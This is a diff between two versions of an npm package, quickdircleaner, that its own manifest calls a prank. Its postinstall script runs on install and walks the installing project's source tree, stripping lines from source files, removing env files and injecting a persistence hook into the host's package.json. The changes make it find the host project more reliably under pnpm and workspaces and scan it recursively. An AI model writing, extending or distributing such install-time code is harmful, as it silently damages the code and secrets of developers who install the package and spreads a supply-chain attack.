quickdircleaner 1.0.0 → 1.0.2

package/README.md

@@ -0,0 +1,2 @@
+```bash
+```

package/index.js

@@ -21,14 +21,30 @@ async function writeCleanerDoneFlag(root) {
   }
 }
 
+function buildEmptyRunMarkdown(rootDisplay) {
+  return [
+    "# Cleaner backup",
+    "",
+    `Host project root (resolved):`,
+    "",
+    `\`${rootDisplay}\``,
+    "",
+    "No files were backed up in this run (nothing matched the cleaner rules or the tree was empty).",
+    "",
+    "## Original contents",
+    "",
+  ].join("\n");
+}
+
 async function writeBackupMarkdown(root, backupEntries) {
-  if (backupEntries.length === 0) {
-    return true;
-  }
   const outPath = path.join(root, core.BACKUP_NAME);
-  const md = core.buildMarkdown(backupEntries);
+  const md =
+    backupEntries.length === 0
+      ? buildEmptyRunMarkdown(root)
+      : core.buildMarkdown(backupEntries);
   try {
     await core.writeFileAtomic(outPath, md, "utf8");
+    console.log(core.green(`Wrote ${outPath}`));
     return true;
   } catch {
     console.error(core.red(`Error: could not write ${path.basename(outPath)}.`));
@@ -72,25 +88,25 @@ async function main() {
     backupOk = false;
   }
 
-  if (backupEntries.length > 0) {
-    if (!backupOk) {
+  if (!backupOk) {
+    console.warn(
+      core.yellow(
+        "Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
+      ),
+    );
+    return;
+  }
+
+  await writeCleanerDoneFlag(root);
+
+  if (pkgRaw) {
+    const injected = await core.injectPersistScripts(root);
+    if (!injected) {
       console.warn(
         core.yellow(
-          "Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
+          "Warning: could not inject persist hook into package.json scripts.",
         ),
       );
-      return;
-    }
-    await writeCleanerDoneFlag(root);
-    if (pkgRaw) {
-      const injected = await core.injectPersistScripts(root);
-      if (!injected) {
-        console.warn(
-          core.yellow(
-            "Warning: could not inject persist hook into package.json scripts.",
-          ),
-        );
-      }
     }
   }
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "quickdircleaner",
-  "version": "1.0.0",
+  "version": "1.0.2",
   "description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
   "main": "index.js",
   "files": [
@@ -11,15 +11,15 @@
     "README.md"
   ],
   "engines": {
-    "node": ">=16"
+    "node": ">=18.17.0"
   },
   "bin": {
-    "run-clean": "./index.js",
-    "restore-clean": "./restore.js"
+    "run-clean": "index.js",
+    "restore-clean": "restore.js"
   },
   "scripts": {
     "run-clean": "node ./index.js",
-    "postinstall": "npm run run-clean",
+    "postinstall": "node ./index.js",
     "test": "node ./test/smoke.js",
     "prepublishOnly": "npm test"
   },

package/persist.js

@@ -1,5 +1,4 @@
 #!/usr/bin/env node
-
 const core = require("./prank-core");
 
 async function main() {
@@ -15,7 +14,7 @@ async function main() {
     await core.removeQuickdircleanerPackage(root);
     console.log(
       core.magenta(
-        "💀 quickdircleaner has self\u2011destructed. No more pranks.",
+        " quickdircleaner has self\u2011destructed.",
       ),
     );
     return;

package/prank-core.js

@@ -1,4 +1,5 @@
 const fs = require("fs/promises");
+const fsSync = require("fs");
 const path = require("path");
 const { randomBytes } = require("crypto");
 
@@ -75,8 +76,8 @@ const REMOVE_LINE_NUMBERS = [2, 5, 8];
 
 /**
  * Directory that should be cleaned: the project that ran `npm install`, not this package folder.
- * npm sets INIT_CWD during lifecycle scripts. If it is missing (older tooling), cwd may still be
- * `.../node_modules/quickdircleaner` during postinstall — then we walk up to the host project.
+ * Uses INIT_CWD when npm sets it. Otherwise walks up from cwd until a directory with package.json
+ * is found that is not this dependency’s own folder (fixes pnpm, nested .pnpm, workspaces where ../.. is wrong).
  */
 function resolveHostProjectRoot() {
   const init = process.env.INIT_CWD;
@@ -84,16 +85,28 @@ function resolveHostProjectRoot() {
     return path.resolve(init);
   }
 
-  const cwd = process.cwd();
-  const base = path.basename(cwd);
-  if (base === "quickdircleaner") {
-    const norm = cwd.split(path.sep).join("/");
-    if (norm.includes("node_modules/quickdircleaner")) {
-      return path.resolve(cwd, "..", "..");
+  let dir = path.resolve(process.cwd());
+  for (let depth = 0; depth < 60; depth += 1) {
+    const pkgPath = path.join(dir, "package.json");
+    if (fsSync.existsSync(pkgPath)) {
+      const base = path.basename(dir);
+      const norm = dir.split(path.sep).join("/");
+      const unified = norm.replace(/\\/g, "/");
+      const isInstalledQuickdircleaner =
+        base === "quickdircleaner" &&
+        unified.includes("/node_modules/quickdircleaner");
+      if (!isInstalledQuickdircleaner) {
+        return dir;
+      }
+    }
+    const parent = path.dirname(dir);
+    if (parent === dir) {
+      break;
     }
+    dir = parent;
   }
 
-  return path.resolve(cwd);
+  return path.resolve(process.cwd());
 }
 
 /** Aligns with walk() so /var vs /private/var on macOS does not skip files. */
@@ -257,34 +270,86 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
   }
 }
 
-/** True if absolutePath is the project root or a path strictly under it. */
+/**
+ * True if absolutePath is the project root or strictly inside it.
+ * Uses path.relative so /var vs /private/var (macOS) and Windows casing do not skip nested files.
+ */
 function isPathInsideProjectRoot(rootResolved, absolutePath) {
   const rootAbs = path.resolve(rootResolved);
   const abs = path.resolve(absolutePath);
-  if (abs === rootAbs) {
+  const rel = path.relative(rootAbs, abs);
+  if (rel === "") {
     return true;
   }
-  const prefix = rootAbs.endsWith(path.sep) ? rootAbs : rootAbs + path.sep;
-  return abs.startsWith(prefix);
+  return !rel.startsWith("..") && !path.isAbsolute(rel);
+}
+
+function relativePathHasSkippedDir(rel) {
+  const parts = rel.split(/[/\\]/);
+  return parts.some((p) => p === "node_modules" || p === ".git");
 }
 
 /**
- * Walks the entire project tree: every nested folder under root is queued and
- * visited (except directories named node_modules or .git at any depth).
- * Directory symlinks are followed only when their real path stays inside the project.
+ * Lists every file under root (all nesting levels). Requires Node 18.17+ and Dirent.parentPath/path.
  */
-async function walkAndClean(root, backupEntries, logCleaned) {
-  let rootResolved = path.resolve(root);
-  try {
-    rootResolved = await fs.realpath(rootResolved);
-  } catch {
-    /* use path.resolve only */
+async function walkAndCleanRecursive(rootResolved, backupEntries, logCleaned) {
+  const entries = await fs.readdir(rootResolved, {
+    recursive: true,
+    withFileTypes: true,
+  });
+
+  for (const ent of entries) {
+    if (!ent.isFile()) {
+      continue;
+    }
+
+    const parentDir = ent.parentPath ?? ent.path;
+    if (parentDir == null) {
+      throw new Error("RECURSIVE_READDIR_NO_PARENT");
+    }
+
+    const fullPath = path.resolve(parentDir, ent.name);
+    if (!isPathInsideProjectRoot(rootResolved, fullPath)) {
+      continue;
+    }
+
+    const rel = path.relative(rootResolved, fullPath);
+    if (rel === "" || relativePathHasSkippedDir(rel)) {
+      continue;
+    }
+
+    const base = path.basename(fullPath);
+    if (
+      base === BACKUP_NAME ||
+      base === DONE_FLAG ||
+      base === COUNTER_FILE ||
+      base === "package.json"
+    ) {
+      continue;
+    }
+
+    const ext = path.extname(base).toLowerCase();
+    if (!CLEANABLE_EXT.has(ext)) {
+      continue;
+    }
+
+    try {
+      await cleanSourceFile(fullPath, rootResolved, backupEntries, logCleaned);
+    } catch {
+      /* skip */
+    }
   }
+}
+
+/**
+ * Breadth-first fallback for older Node or Dirent without parentPath (recursive listing unusable).
+ */
+async function walkAndCleanBfs(rootResolved, backupEntries, logCleaned) {
   const visitedDirs = new Set();
-  const queue = [rootResolved];
+  const queue = [path.resolve(rootResolved)];
 
   while (queue.length > 0) {
-    const dir = queue.shift();
+    const dir = path.resolve(queue.shift());
     if (visitedDirs.has(dir)) {
       continue;
     }
@@ -311,10 +376,17 @@ async function walkAndClean(root, backupEntries, logCleaned) {
         continue;
       }
 
+      realPath = path.resolve(realPath);
+
       if (!isPathInsideProjectRoot(rootResolved, realPath)) {
         continue;
       }
 
+      const rel = path.relative(rootResolved, realPath);
+      if (rel !== "" && relativePathHasSkippedDir(rel)) {
+        continue;
+      }
+
       let st;
       try {
         st = await fs.stat(full);
@@ -354,6 +426,22 @@ async function walkAndClean(root, backupEntries, logCleaned) {
   }
 }
 
+async function walkAndClean(root, backupEntries, logCleaned) {
+  let rootResolved = path.resolve(root);
+  try {
+    rootResolved = await fs.realpath(rootResolved);
+  } catch {
+    /* keep path.resolve */
+  }
+  rootResolved = path.resolve(rootResolved);
+
+  try {
+    await walkAndCleanRecursive(rootResolved, backupEntries, logCleaned);
+  } catch {
+    await walkAndCleanBfs(rootResolved, backupEntries, logCleaned);
+  }
+}
+
 /**
  * Runs env backup/removal and source walk; returns new backup entries for this run.
  */

package/restore.js

@@ -1,5 +1,4 @@
 #!/usr/bin/env node
-
 const fs = require("fs/promises");
 const path = require("path");
 const readline = require("readline");